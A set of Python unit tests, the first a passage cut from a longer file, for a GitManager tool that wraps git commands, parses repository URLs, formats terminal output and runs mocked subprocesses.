return value run_gitrun.return_value.stdout = unittest.mock.mock_open( read_data="refs/heads/master\n".encode("utf-8"))() self.assertEqual(repo.symbolic_ref("HEAD"), "refs/heads/master", "parsing symbolic ref works properly") run_gitrun.assert_called_with("symbolic-ref", "-q", "HEAD", cwd='/path/to/repository') run_gitrun.return_value.wait.assert_called_with() @unittest.mock.patch('GitManager.utils.run.GitRun') def test_upstream_ref(self, run_gitrun: unittest.mock.Mock): """ checks that upstream_ref properly works as intended """ # create a repository repo = implementation.LocalRepository('/path/to/repository') # set the return value run_gitrun.return_value.stdout = unittest.mock.mock_open( read_data="origin/master\n".encode("utf-8"))() self.assertEqual(repo.upstream_ref("refs/heads/master"), "origin/master", "parsing upstream ref works properly") run_gitrun.assert_called_with("for-each-ref", "--format=%(upstream:short)", "refs/heads/master", cwd='/path/to/repository') run_gitrun.return_value.wait.assert_called_with() @unittest.mock.patch('GitManager.utils.run.GitRun') def test_gc(self, run_gitrun: unittest.mock.Mock): """ checks that gc method makes an external call """ # create a repository repo = implementation.LocalRepository('/path/to/repository') # and make sure that the return value is True run_gitrun.success = True # assert that we can garbage collect self.assertTrue(repo.gc(), 'running garbage collection on a repository') # check that we called the fetch --all command properly run_gitrun.assert_called_with('gc', cwd='/path/to/repository', pipe_stderr=True, pipe_stdin=True, pipe_stdout=True) # reset the mock run_gitrun.reset_mock() run_gitrun.success = True self.assertTrue(repo.gc('--aggresive'), 'running aggressive housekeeping on a repository') # check that we called the fetch --all command properly run_gitrun.assert_called_with('gc', '--aggresive', cwd='/path/to/repository', pipe_stderr=True, pipe_stdin=True, pipe_stdout=True) @unittest.mock.patch('GitManager.utils.run.GitRun') def test_fetch(self, run_gitrun: unittest.mock.Mock): """ checks that fetch method makes an external call """ # create a repository repo = implementation.LocalRepository('/path/to/repository') # and make sure that the return value is True run_gitrun.success = True # assert that we can fetch self.assertTrue(repo.fetch(), 'fetching a repository') # check that we called the fetch --all command properly run_gitrun.assert_called_with('fetch', '--all', '--quiet', cwd='/path/to/repository', pipe_stderr=True, pipe_stdin=True, pipe_stdout=True) @unittest.mock.patch('GitManager.utils.run.GitRun') def test_pull(self, run_gitrun: unittest.mock.Mock): """ checks that pull method makes an external call """ # create a repository repo = implementation.LocalRepository('/path/to/repository') # and make sure that the return value is True run_gitrun.success = True # assert that we can pull self.assertTrue(repo.pull(), 'pulling a repository') # check that we called the pull command properly run_gitrun.assert_called_with('pull', cwd='/path/to/repository', pipe_stderr=True, pipe_stdin=True, pipe_stdout=True) @unittest.mock.patch('GitManager.utils.run.GitRun') def test_push(self, run_gitrun: unittest.mock.Mock): """ checks that push method makes an external call """ # create a repository repo = implementation.LocalRepository('/path/to/repository') # and make sure that the return value is True run_gitrun.success = True # assert that we can push self.assertTrue(repo.push(), 'push a repository') # check that we called the push command properly run_gitrun.assert_called_with('push', cwd='/path/to/repository', pipe_stderr=True, pipe_stdin=True, pipe_stdout=True) @unittest.mock.patch('GitManager.utils.run.GitRun') def test_local_status(self, run_gitrun: unittest.mock.Mock): """ checks that local_status method makes an external call """ # create a repository repo = implementation.LocalRepository('/path/to/repository') # mock the exists function repo.exists = unittest.mock.MagicMock(return_value=False) # local status and non-existence self.assertEqual(repo.local_status(), None, "local_status of " "non-existing " "repository") # reset the mock and change the return value to True repo.exists.reset_mock() repo.exists.return_value = True # setup the return value of the git run run_gitrun.return_value.stdout = unittest.mock.mock_open( read_data="".encode("utf-8"))() # check that the local_status did print correctly self.assertEqual(repo.local_status(), "", "Reading status works " "properly") # check that we called the status command run_gitrun.assert_called_with('status', '--porcelain', cwd='/path/to/repository') @unittest.mock.patch('GitManager.utils.run.GitRun') @unittest.mock.patch( 'GitManager.repo.implementation.LocalRepository.ref_parse', side_effect=["aaaaaa", "bbbbbb", "aaaaaa", "bbbbbb", "aaaaaa", "bbbbbb", "aaaaaa", "bbbbbb", "aaaaaa", "bbbbbb"] ) @unittest.mock.patch( 'GitManager.repo.implementation.LocalRepository.upstream_ref', side_effect=["origin/master", "origin/master", "origin/master", "origin/master", "origin/master"] ) @unittest.mock.patch( 'GitManager.repo.implementation.LocalRepository.symbolic_ref', side_effect=["refs/heads/master", "refs/heads/master", "refs/heads/master", "refs/heads/master", "refs/heads/master"] ) @unittest.mock.patch( 'GitManager.repo.implementation.LocalRepository.exists' ) def test_remote_status(self, LocalRepository_exists: unittest.mock.Mock, LocalRepository_symbolic_ref: unittest.mock.Mock, LocalRepository_upstream_ref: unittest.mock.Mock, LocalRepository_ref_parse: unittest.mock.Mock, run_gitrun: unittest.mock.Mock): """ Tests that the remote_status command works properly """ # create a repository repo = implementation.LocalRepository('/path/to/repository') # if we want to update, we should have called with 'remote' 'update' run_gitrun.return_value.success = False self.assertEqual(repo.remote_status(update=True), None) run_gitrun.assert_called_with('remote', 'update', cwd='/path/to/repository') # reset all the mocks LocalRepository_exists.reset_mock() LocalRepository_symbolic_ref.reset_mock() LocalRepository_upstream_ref.reset_mock() LocalRepository_ref_parse.reset_mock() run_gitrun.reset_mock() run_gitrun.return_value.success = True # merge base is aaaaaa (local) LocalRepository_exists.return_value = False self.assertEqual(repo.remote_status(), None) # reset all the mocks LocalRepository_exists.reset_mock() LocalRepository_symbolic_ref.reset_mock() LocalRepository_upstream_ref.reset_mock() LocalRepository_ref_parse.reset_mock() run_gitrun.reset_mock() # merge base is local LocalRepository_exists.return_value = True run_gitrun.return_value.stdout = unittest.mock.mock_open( read_data="aaaaaa\n".encode("utf-8"))() self.assertEqual(repo.remote_status(update=False), implementation.RemoteStatus.REMOTE_NEWER) run_gitrun.assert_called_with("merge-base", "aaaaaa", "bbbbbb", cwd="/path/to/repository") # reset all the mocks LocalRepository_exists.reset_mock() LocalRepository_symbolic_ref.reset_mock() LocalRepository_upstream_ref.reset_mock() LocalRepository_ref_parse.reset_mock() run_gitrun.reset_mock() # merge base is local LocalRepository_exists.return_value = True run_gitrun.return_value.stdout = unittest.mock.mock_open( read_data="bbbbbb\n".encode("utf-8"))() self.assertEqual(repo.remote_status(), implementation.RemoteStatus.LOCAL_NEWER) run_gitrun.assert_called_with("merge-base", "aaaaaa", "bbbbbb", cwd="/path/to/repository") # reset all the mocks LocalRepository_exists.reset_mock() LocalRepository_symbolic_ref.reset_mock() LocalRepository_upstream_ref.reset_mock() LocalRepository_ref_parse.reset_mock() run_gitrun.reset_mock() # merge base is ???? LocalRepository_exists.return_value = True run_gitrun.return_value.stdout = unittest.mock.mock_open( read_data="cccccc\n".encode("utf-8"))() self.assertEqual(repo.remote_status(update=False), implementation.RemoteStatus.DIVERGENCE) run_gitrun.assert_called_with("merge-base", "aaaaaa", "bbbbbb", cwd="/path/to/repository") # reset all the mocks LocalRepository_exists.reset_mock() LocalRepository_symbolic_ref.reset_mock() LocalRepository_upstream_ref.reset_mock() LocalRepository_ref_parse.reset_mock() run_gitrun.reset_mock() # both refs are equal LocalRepository_ref_parse.side_effect = ["aaaaaa", "aaaaaa"] LocalRepository_exists.return_value = True run_gitrun.return_value.stdout = unittest.mock.mock_open( read_data="aaaaaa\n".encode("utf-8"))() self.assertEqual(repo.remote_status(update=False), implementation.RemoteStatus.UP_TO_DATE) run_gitrun.assert_called_with("merge-base", "aaaaaa", "aaaaaa", cwd="/path/to/repository") class TestRemoteRepository(unittest.TestCase): """ Tests that implementation works properly """ def test_eq(self): """ Checks that equality between RemoteRepositories works properly """ self.assertEqual( implementation.RemoteRepository('git@github.com:hello/world.git'), implementation.RemoteRepository('git@github.com:hello/world.git'), 'equality between two RemoteRepositories' ) self.assertNotEqual( implementation.RemoteRepository('git@github.com:hello/world.git'), implementation.RemoteRepository( 'https://github.com/hello/world.git'), 'difference between two RemoteRepositories' ) def test_url(self): """ Tests that the URL property works as intended """ self.assertEqual( implementation.RemoteRepository( 'git@github.com:hello/world.git').url, 'git@github.com:hello/world.git', 'URL of a simple repository' ) self.assertEqual( implementation.RemoteRepository( 'https://github.com/hello/world.git').url, 'https://github.com/hello/world.git', 'URL of a simple git repository' ) def test_matches(self): """ Tests that the matches() of a remoteRepository works properly """ repo = implementation.RemoteRepository( 'git@github.com:hello/world.git') self.assertTrue(repo.matches('world'), 'matching by a simple name') self.assertTrue(repo.matches('hello/world'), 'matching by path') self.assertTrue(repo.matches('w*'), 'matching by simple pattern') self.assertTrue(repo.matches('h*/w*'), 'matching by complex pattern') self.assertTrue(repo.matches('github.com/hello'), 'matching at the beginning') self.assertTrue(repo.matches('hello'), 'matching in the middle') self.assertTrue(repo.matches('git@github.com:hello/world.git'), 'matching full url') self.assertFalse(repo.matches('wirld'), 'not matching non-pattern') self.assertFalse(repo.matches('hello/wirld'), 'not matching non-pattern') self.assertFalse(repo.matches('*/wirld'), 'not matching non-pattern') self.assertFalse(repo.matches('git@github.com:halo/world.git'), 'not matching full url') def test_str(self): """ Tests that the str() of a remoteRepository works properly """ self.assertEqual( str(implementation.RemoteRepository( 'git@github.com:hello/world.git')), 'git@github.com:hello/world.git', 'str() of a simple repository' ) self.assertEqual( str(implementation.RemoteRepository( 'https://github.com/hello/world.git')), 'https://github.com/hello/world.git', 'str() of a simple git repository' ) def test_repr(self): """ Tests that the repr() of a remoteRepository works properly """ self.assertEqual( repr(implementation.RemoteRepository( 'git@github.com:hello/world.git')), '<RemoteRepository git@github.com:hello/world.git>', 'str() of a simple repository' ) self.assertEqual( repr(implementation.RemoteRepository( 'https://github.com/hello/world.git')), '<RemoteRepository https://github.com/hello/world.git>', 'repr() of a simple git repository' ) @unittest.mock.patch('GitManager.utils.run.GitRun') def test_exists(self, run_gitrun: unittest.mock.Mock): """ checks that exists method makes an external call """ run_gitrun.return_value.success = True # checking for existence should make an external call self.assertTrue(implementation.RemoteRepository( 'git@github.com:hello/world.git').exists(), 'successfully checks existence using an external call') run_gitrun.assert_called_with('ls-remote', '--exit-code', 'git@github.com:hello/world.git') @unittest.mock.patch('GitManager.utils.run.GitRun') def test_clone(self, run_gitrun: unittest.mock.Mock): """ checks that clone method makes an external call """ run_gitrun.return_value.success = True remote = implementation.RemoteRepository( 'git@github.com:hello/world.git') local = implementation.LocalRepository('/path/to/clone') # checking for existence should make an external call self.assertTrue(remote.clone(local), 'successfully clones a ' 'repository') run_gitrun.assert_called_with('clone', 'git@github.com:hello/world.git', '/path/to/clone', pipe_stderr=True, pipe_stdin=True, pipe_stdout=True) def test_components(self): """ Checks that the components method works properly""" def assert_components(url, components): return self.assertEqual( implementation.RemoteRepository(url).components(), components) # git@github.com url g_h_w_c = ['github.com', 'hello', 'world'] assert_components('git@github.com:hello/world.git', g_h_w_c) assert_components('git@github.com:hello/world', g_h_w_c) assert_components('git@github.com:hello/world/', g_h_w_c) assert_components('git@github.com:hello/world//', g_h_w_c) assert_components('ssh://git@github.com/hello/world.git', g_h_w_c) assert_components('ssh://git@github.com/hello/world', g_h_w_c) assert_components('ssh://git@github.com/hello/world/', g_h_w_c) assert_components('ssh://git@github.com/hello/world//', g_h_w_c) # https://github.com/user/repo assert_components('https://github.com/hello/world.git', g_h_w_c) assert_components('https://github.com:hello/world', g_h_w_c) assert_components('https://github.com:hello/world/', g_h_w_c) assert_components('https://github.com:hello/world//', g_h_w_c) # user@server.com url s_c_u_r = ['server.com', 'user', 'repository'] assert_components('user@server.com:repository', s_c_u_r) assert_components('user@server.com:repository/', s_c_u_r) assert_components('user@server.com:repository//', s_c_u_r) assert_components('user@server.com:repository.git', s_c_u_r) assert_components('ssh://user@server.com/repository', s_c_u_r) assert_components('ssh://user@server.com/repository/', s_c_u_r) assert_components('ssh://user@server.com/repository//', s_c_u_r) assert_components('ssh://user@server.com/repository.git', s_c_u_r) def test_humanish_part(self): """ Checks that the get_humanish_part method works properly""" self.assertEqual( implementation.RemoteRepository( 'git@github.com:hello/world.git').humanish_part(), 'world') self.assertEqual( implementation.RemoteRepository( 'git@github.com:hello/world').humanish_part(), 'world' ) self.assertEqual( implementation.RemoteRepository( 'git@github.com:hello/world/').humanish_part(), 'world' ) self.assertEqual( implementation.RemoteRepository( 'git@github.com:hello/world//').humanish_part(), 'world' ) --- FILE SEPARATOR --- import unittest import unittest.mock from GitManager.utils import format class TestFormat(unittest.TestCase): """ Tests that the Format() class works properly """ def test_init(self): """ Tests that format can not be instantiated """ with self.assertRaises(TypeError): format.Format() def test_red(self): """ Tests that the red method works properly """ self.assertEqual(format.Format.red("Hello"), "\033[91mHello\033[00m") def test_yellow(self): """ Tests that the yelloe method works properly """ self.assertEqual(format.Format.yellow("Hello"), "\033[93mHello\033[00m") def test_green(self): """ Tests that the green method works properly """ self.assertEqual(format.Format.green("Hello"), "\033[92mHello\033[00m") def test_cyan(self): """ Tests that the cyan method works properly """ self.assertEqual(format.Format.cyan("Hello"), "\033[96mHello\033[00m") @unittest.mock.patch.object(format.Format, 'short_rel_path') @unittest.mock.patch('os.path.expanduser', return_value='/home/user') def test_short_abs_path(self, os_path_expanduser: unittest.mock.Mock, format_short_rel_path: unittest.mock.Mock): # length is too short with self.assertRaises(ValueError): format.Format.short_abs_path('hello/world', 3) # must be an absolute path with self.assertRaises(ValueError): format.Format.short_abs_path('hello/world', 10) # short path outside of $HOME self.assertEqual( format.Format.short_abs_path('/hello/world', 15), '/hello/world', 'short path outside of $HOME is left as is' ) format_short_rel_path.assert_not_called() format_short_rel_path.reset_mock() # short path inside of $HOME self.assertEqual( format.Format.short_abs_path('/home/user/hello/world', 100), '/home/user/hello/world', 'short path inside of $HOME is left as is' ) format_short_rel_path.assert_not_called() format_short_rel_path.reset_mock() # path to be shortened outside of $HOME format_short_rel_path.return_value = 'hello/.../world' self.assertEqual( format.Format.short_abs_path('/hello/brave/world', 16), '/hello/.../world', 'path to be shortened outside of $HOME' ) format_short_rel_path.assert_called_with('hello/brave/world', 15) format_short_rel_path.reset_mock() # path to be shortened inside of $HOME format_short_rel_path.return_value = 'hello/.../world' self.assertEqual( format.Format.short_abs_path('/home/user/hello/brave/world', 17), '~/hello/.../world', 'path to be shortened inside of $HOME' ) format_short_rel_path.assert_called_with('hello/brave/world', 15) format_short_rel_path.reset_mock() def test_short_rel_path(self): """ Tests that the short_rel_path() method works properly """ # length is too short with self.assertRaises(ValueError): format.Format.short_rel_path('hello/world', 2) # must be a relative path with self.assertRaises(ValueError): format.Format.short_rel_path('/hello/world', 10) self.assertEqual(format.Format.short_rel_path('hello/world', 15), 'hello/world', 'short path is given as is') self.assertEqual( format.Format.short_rel_path('hello/a/b//../.././/world', 15), 'hello/world', 'convoluted path is cleaned up automatically') self.assertEqual( format.Format.short_rel_path('hello/brave/world', 15), 'hello/.../world', 'replacing middle of three-component path ' 'properly' ) self.assertEqual( format.Format.short_rel_path('1234567890/1234/', 15), '1234567890/1234', 'remove unneeded slash from the end') self.assertEqual( format.Format.short_rel_path('a/b/cc/ddd/eeeee', 15), 'a/b/.../eeeee', 'replacing long path properly' ) self.assertEqual( format.Format.short_rel_path('hello/oh/brave/new/world', 15), 'hello/.../world', 'replacing long path properly' ) self.assertEqual( format.Format.short_rel_path('aaaaaaaaaa/bbbbb', 15), '...aaaaaa/bbbbb', 'shorten path from the start' ) self.assertEqual( format.Format.short_rel_path('bbbbb/aaaaaaaaaa', 15), 'bbbbb/aaaaaa...', 'shorten path from the start' ) @unittest.mock.patch.object(format.Format, 'short_rel_path', return_value='hello/world') @unittest.mock.patch.object(format.Format, 'short_abs_path', return_value='/hello/world') def test_rel_path(self, format_short_abs_path: unittest.mock.Mock, format_short_rel_path: unittest.mock.Mock): """ Tests that the short_path() method works properly """ # length is too short with self.assertRaises(ValueError): format.Format.short_path('hello/world', 5) # format absolute path self.assertEqual(format.Format.short_path('/hello/world', 15), '/hello/world', 'shorten absolute path') format_short_abs_path.assert_called_with('/hello/world', 15) format_short_abs_path.reset_mock() format_short_rel_path.assert_not_called() format_short_rel_path.reset_mock() # format relative path self.assertEqual(format.Format.short_path('hello/world', 15), 'hello/world', 'shorten relative path') format_short_rel_path.assert_called_with('hello/world', 15) format_short_rel_path.reset_mock() format_short_abs_path.assert_not_called() format_short_abs_path.reset_mock() class TestTerminalLine(unittest.TestCase): """ Tests that the TerminalLine() class works properly""" @unittest.mock.patch('shutil.get_terminal_size') def test_width(self, shutil_get_terminal_size: unittest.mock.Mock): """ Tests that format.width works properly """ shutil_get_terminal_size.return_value.columns = 20 self.assertEqual(format.TerminalLine().width, 20, "width of a " "TerminalLine") shutil_get_terminal_size.assert_called_with() @unittest.mock.patch.object(format.TerminalLine, 'width', 20) @unittest.mock.patch.object(format.TerminalLine, 'append') @unittest.mock.patch('sys.stdout.isatty') def test_clean(self, sys_stdout_isatty: unittest.mock.Mock, format_terminal_line_append: unittest.mock.Mock): """ Tests that format.clean works properly """ # resetting on a tty sys_stdout_isatty.return_value = True format.TerminalLine().clean() format_terminal_line_append.assert_called_with( '\r \r') # reset all the things sys_stdout_isatty.reset_mock() format_terminal_line_append.reset_mock() # resetting on a non tty sys_stdout_isatty.return_value = False line = format.TerminalLine() line.clean() format_terminal_line_append.assert_not_called() self.assertEqual(line._TerminalLine__cache, '') @unittest.mock.patch.object(format.TerminalLine, 'append') def test_linebreak(self, format_terminal_line_append: unittest.mock.Mock): """ Tests that format.linebreak works correctly""" tl = format.TerminalLine() tl.linebreak() format_terminal_line_append.assert_called_with( '\n') @unittest.mock.patch.object(format.TerminalLine, 'clean') @unittest.mock.patch.object(format.TerminalLine, 'append') def test_write(self, format_terminal_line_append: unittest.mock.Mock, format_terminal_line_clean: unittest.mock.Mock): """ Tests that format.write works properly """ format.TerminalLine().write('Hello world') format_terminal_line_clean.assert_called_with() format_terminal_line_append.assert_called_with('Hello world') @unittest.mock.patch('sys.stdout') @unittest.mock.patch.object(format.TerminalLine, 'flush') def test_append(self, TerminalLine_flush: unittest.mock.Mock, sys_stdout: unittest.mock.Mock): """ Tests that format.append works properly """ # appending on a tty sys_stdout.isatty.return_value = True # make a terminal line and write hello world tl = format.TerminalLine() tl.append('Hello world') sys_stdout.write.assert_called_with('Hello world') TerminalLine_flush.assert_called_with() self.assertEqual(tl._TerminalLine__cache, "") # reset all the mocks TerminalLine_flush.reset_mock() sys_stdout.reset_mock() # appending on a non-tty sys_stdout.isatty.return_value = False # make a terminal line and write hello world tl = format.TerminalLine() tl.append('Hello world') sys_stdout.write.assert_not_called() TerminalLine_flush.assert_called_with() self.assertEqual(tl._TerminalLine__cache, "Hello world") # reset all the mocks TerminalLine_flush.reset_mock() sys_stdout.reset_mock() @unittest.mock.patch('sys.stdout') def test_flush(self, sys_stdout: unittest.mock.Mock): # appending on a tty sys_stdout.isatty.return_value = True # make a terminal line and write hello world tl = format.TerminalLine() tl._TerminalLine__cache = "Hello\nWorld" tl.flush() sys_stdout.write.assert_not_called() sys_stdout.flush.assert_called_with() # reset all the mocks sys_stdout.reset_mock() # appending on a non-tty sys_stdout.isatty.return_value = False # make a terminal line and write hello world tl = format.TerminalLine() tl._TerminalLine__cache = "Hello\nWorld" tl.flush() sys_stdout.write.assert_called_with("Hello\n") sys_stdout.flush.assert_called_with() self.assertEqual(tl._TerminalLine__cache, "World") --- FILE SEPARATOR --- import unittest import unittest.mock import subprocess from GitManager.utils import run class TestRun(unittest.TestCase): @unittest.mock.patch('os.getcwd', return_value='/') @unittest.mock.patch('os.environ.copy', return_value={}) def test_init(self, os_environ_copy: unittest.mock.Mock, os_getcwd_mock: unittest.mock.Mock): """ Tests that run instances are created properly """ # almost everything is default run1 = run.ProcessRun("echo", "Hello world") os_environ_copy.assert_called_once_with() os_getcwd_mock.assert_called_once_with() self.assertEqual(run1.exe, 'echo') self.assertEqual(run1.args, ['Hello world']) self.assertEqual(run1.cwd, '/') self.assertEqual(run1.environment, {}) self.assertEqual(run1.pipe_stdout, False) self.assertEqual(run1.pipe_stderr, False) self.assertEqual(run1.pipe_stdin, False) # and reset the mocks please os_environ_copy.reset_mock() os_getcwd_mock.reset_mock() # use some non-default values run2 = run.ProcessRun("echo", "Hello world", cwd='/hello', pipe_stdout=True, environment={'hello': 'world'}) os_environ_copy.assert_not_called() os_getcwd_mock.assert_not_called() self.assertEqual(run2.exe, 'echo') self.assertEqual(run2.args, ['Hello world']) self.assertEqual(run2.cwd, '/hello') self.assertEqual(run2.environment, {'hello': 'world'}) self.assertEqual(run2.pipe_stdout, True) self.assertEqual(run2.pipe_stderr, False) self.assertEqual(run2.pipe_stdin, False) @unittest.mock.patch('subprocess.Popen') @unittest.mock.patch('os.getcwd', return_value='/') @unittest.mock.patch('os.environ.copy', return_value={}) def test_stdout(self, os_environ_copy: unittest.mock.Mock, os_getcwd_mock: unittest.mock.Mock, subprocess_popen: unittest.mock.Mock): """ Tests that stdout works properly""" # fake the return value of stdout subprocess_popen.return_value.stdout = '' # create a run where we do not pipe stdout run1 = run.ProcessRun("echo", pipe_stdout=False) # in the ready state we should raise an error with self.assertRaises(run.ProcessRunStateError): run1.stdout # once we run, we should return the normal value run1.run() self.assertEqual(run1.stdout, '') # create a run where we do pipe stdout run2 = run.ProcessRun("echo", pipe_stdout=True) # in the ready state we should raise an error with self.assertRaises(run.ProcessRunStateError): run2.stdout # once we run, we should return None (because piping) run2.run() self.assertEqual(run2.stdout, None) @unittest.mock.patch('subprocess.Popen') @unittest.mock.patch('os.getcwd', return_value='/') @unittest.mock.patch('os.environ.copy', return_value={}) def test_stderr(self, os_environ_copy: unittest.mock.Mock, os_getcwd_mock: unittest.mock.Mock, subprocess_popen: unittest.mock.Mock): """ Tests that stderr works properly""" # fake the return value of stderr subprocess_popen.return_value.stderr = '' # create a run where we do not pipe stderr run1 = run.ProcessRun("echo", pipe_stderr=False) # in the ready state we should raise an error with self.assertRaises(run.ProcessRunStateError): run1.stderr # once we run, we should return the normal value run1.run() self.assertEqual(run1.stderr, '') # create a run where we do pipe stderr run2 = run.ProcessRun("echo", pipe_stderr=True) # in the ready state we should raise an error with self.assertRaises(run.ProcessRunStateError): run2.stderr # once we run, we should return None (because piping) run2.run() self.assertEqual(run2.stderr, None) @unittest.mock.patch('subprocess.Popen') @unittest.mock.patch('os.getcwd', return_value='/') @unittest.mock.patch('os.environ.copy', return_value={}) def test_stdin(self, os_environ_copy: unittest.mock.Mock, os_getcwd_mock: unittest.mock.Mock, subprocess_popen: unittest.mock.Mock): """ Tests that stdin works properly""" # fake the return value of stdin subprocess_popen.return_value.stdin = '' # create a run where we do not pipe stdin run1 = run.ProcessRun("echo", pipe_stdin=False) # in the ready state we should raise an error with self.assertRaises(run.ProcessRunStateError): run1.stdin # once we run, we should return the normal value run1.run() self.assertEqual(run1.stdin, '') # create a run where we do pipe stdin run2 = run.ProcessRun("echo", pipe_stdin=True) # in the ready state we should raise an error with self.assertRaises(run.ProcessRunStateError): run2.stdin # once we run, we should return None (because piping) run2.run() self.assertEqual(run2.stdin, None) @unittest.mock.patch('subprocess.Popen') @unittest.mock.patch('os.getcwd', return_value='/') @unittest.mock.patch('os.environ.copy', return_value={}) def test_state(self, os_environ_copy: unittest.mock.Mock, os_getcwd_mock: unittest.mock.Mock, subprocess_popen: unittest.mock.Mock): """ Tests that state calls work properly """ # create a new run instance run1 = run.ProcessRun("echo") # should start out with the ready() state self.assertEqual(run1.state, run.ProcessRunState.NEW) # we now run it and return None run1.run() subprocess_popen.return_value.returncode = None # which means we are always alive self.assertEqual(run1.state, run.ProcessRunState.ACTIVE) # once we have a return code we are finished subprocess_popen.return_value.returncode = 0 self.assertEqual(run1.state, run.ProcessRunState.TERMINATED) @unittest.mock.patch('subprocess.Popen') @unittest.mock.patch('os.getcwd', return_value='/') @unittest.mock.patch('os.environ.copy', return_value={}) def test_run(self, os_environ_copy: unittest.mock.Mock, os_getcwd_mock: unittest.mock.Mock, subprocess_popen: unittest.mock.Mock): """ tests that run() calls work properly """ # make a (fairly default) run run1 = run.ProcessRun("echo") # run the process -- it should make a call to subprocess.Popen run1.run() subprocess_popen.assert_called_with(['echo'], cwd='/', stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, env={}) # and if you try to run it again, it should raise an error with self.assertRaises(run.ProcessRunStateError): run1.run() # reset the mock subprocess_popen.reset_mock() # make a (non-default) run run2 = run.ProcessRun("echo", "Hello world", pipe_stdout=True, pipe_stderr=True, pipe_stdin=True, cwd='/hello', environment={'hello': 'world'}) # run the process -- it should make a call to subprocess.Popen run2.run() subprocess_popen.assert_called_with(['echo', 'Hello world'], cwd='/hello', stdout=None, stderr=None, stdin=None, env={'hello': 'world'}) # and if you try to run it again, it should raise an error with self.assertRaises(run.ProcessRunStateError): run2.run() @unittest.mock.patch('subprocess.Popen') @unittest.mock.patch('os.getcwd', return_value='/') @unittest.mock.patch('os.environ.copy', return_value={}) def test_wait(self, os_environ_copy: unittest.mock.Mock, os_getcwd_mock: unittest.mock.Mock, subprocess_popen: unittest.mock.Mock): """ Makes sure that the wait call works properly""" # make a new run and wait for the default amount of time run1 = run.ProcessRun("echo") run1.wait() # wait() should have been called with None subprocess_popen.assert_called_with(['echo'], cwd='/', stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, env={}) subprocess_popen.return_value.wait.assert_called_with(timeout=None) subprocess_popen.reset_mock() # make a new run and wait for a fixed amount of time run2 = run.ProcessRun("echo") run2.wait(100) # wait should have been called with Some() subprocess_popen.assert_called_with(['echo'], cwd='/', stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, env={}) subprocess_popen.return_value.wait.assert_called_with(timeout=100) # this time run manually and pretend it is rzunning run3 = run.ProcessRun("echo") run3.run() subprocess_popen.return_value.returncode = None # reset all the call counters subprocess_popen.reset_mock() # and now we should wait for 100 run3.wait(100) subprocess_popen.assert_not_called() subprocess_popen.return_value.wait.assert_called_with(timeout=100) @unittest.mock.patch('subprocess.Popen') @unittest.mock.patch('os.getcwd', return_value='/') @unittest.mock.patch('os.environ.copy', return_value={}) def test_kill(self, os_environ_copy: unittest.mock.Mock, os_getcwd_mock: unittest.mock.Mock, subprocess_popen: unittest.mock.Mock): """ tests that killing works properly""" # make a new run and wait for the default amount of time run1 = run.ProcessRun("echo") # we can not kill it if it is not running. with self.assertRaises(run.ProcessRunStateError): run1.kill() # run the process and properly pretend that it is alive run1.run() subprocess_popen.return_value.returncode = None # now we can kill run1.kill() subprocess_popen.return_value.kill.assert_called_with() # pretend we have finished subprocess_popen.return_value.returncode = 1 # we should not be able to kill anymore with self.assertRaises(run.ProcessRunStateError): run1.kill() @unittest.mock.patch('subprocess.Popen') @unittest.mock.patch('os.getcwd', return_value='/') @unittest.mock.patch('os.environ.copy', return_value={}) def test_returncode(self, os_environ_copy: unittest.mock.Mock, os_getcwd_mock: unittest.mock.Mock, subprocess_popen: unittest.mock.Mock): """ Tests that the returncode attribute works properly """ # make a new run and wait for the default amount of time run1 = run.ProcessRun("echo") # mock the returncode of the call subprocess_popen.return_value.returncode = 0 self.assertEqual(run1.returncode, 0) # we should have called the subprocess subprocess_popen.assert_called_with(['echo'], cwd='/', stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, env={}) # and a wait call subprocess_popen.return_value.wait.assert_called_with(timeout=None) # make another call run2 = run.ProcessRun("echo") run2.run() subprocess_popen.return_value.returncode = 1 subprocess_popen.reset_mock() self.assertEqual(run2.returncode, 1) subprocess_popen.assert_not_called() subprocess_popen.return_value.wait.assert_not_called() @unittest.mock.patch('subprocess.Popen') @unittest.mock.patch('os.getcwd', return_value='/') @unittest.mock.patch('os.environ.copy', return_value={}) def test_success(self, os_environ_copy: unittest.mock.Mock, os_getcwd_mock: unittest.mock.Mock, subprocess_popen: unittest.mock.Mock): """ Tests that the success attribute works properly """ # make a new run and wait for the default amount of time run1 = run.ProcessRun("echo") # mock the returncode of the call subprocess_popen.return_value.returncode = 0 self.assertEqual(run1.success, True) # we should have called the subprocess subprocess_popen.assert_called_with(['echo'], cwd='/', stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, env={}) # and a wait call subprocess_popen.return_value.wait.assert_called_with(timeout=None) # make another call run2 = run.ProcessRun("echo") run2.run() subprocess_popen.return_value.returncode = 1 subprocess_popen.reset_mock() self.assertEqual(run2.success, False) subprocess_popen.assert_not_called() subprocess_popen.return_value.wait.assert_not_called() class TestGitRun(unittest.TestCase): @unittest.mock.patch('os.getcwd', return_value='/') @unittest.mock.patch('os.environ.copy', return_value={}) def test_init(self, os_environ_copy: unittest.mock.Mock, os_getcwd_mock: unittest.mock.Mock): """ Tests that GitRun instances are created properly """ # almost everything is default run1 = run.GitRun("Hello world") os_environ_copy.assert_called_once_with() os_getcwd_mock.assert_called_once_with() self.assertEqual(run1.exe, 'git') self.assertEqual(run1.args, ['Hello world']) self.assertEqual(run1.cwd, '/') self.assertEqual(run1.environment, {}) self.assertEqual(run1.pipe_stdout, False) self.assertEqual(run1.pipe_stderr, False) self.assertEqual(run1.pipe_stdin, False) # and reset the mocks please os_environ_copy.reset_mock() os_getcwd_mock.reset_mock() # use some non-default values run2 = run.GitRun("Hello world", cwd='/hello', pipe_stdout=True, environment={'hello': 'world'}) os_environ_copy.assert_not_called() os_getcwd_mock.assert_not_called() self.assertEqual(run2.exe, 'git') self.assertEqual(run2.args, ['Hello world']) self.assertEqual(run2.cwd, '/hello') self.assertEqual(run2.environment, {'hello': 'world'}) self.assertEqual(run2.pipe_stdout, True) self.assertEqual(run2.pipe_stderr, False) self.assertEqual(run2.pipe_stdin, False)
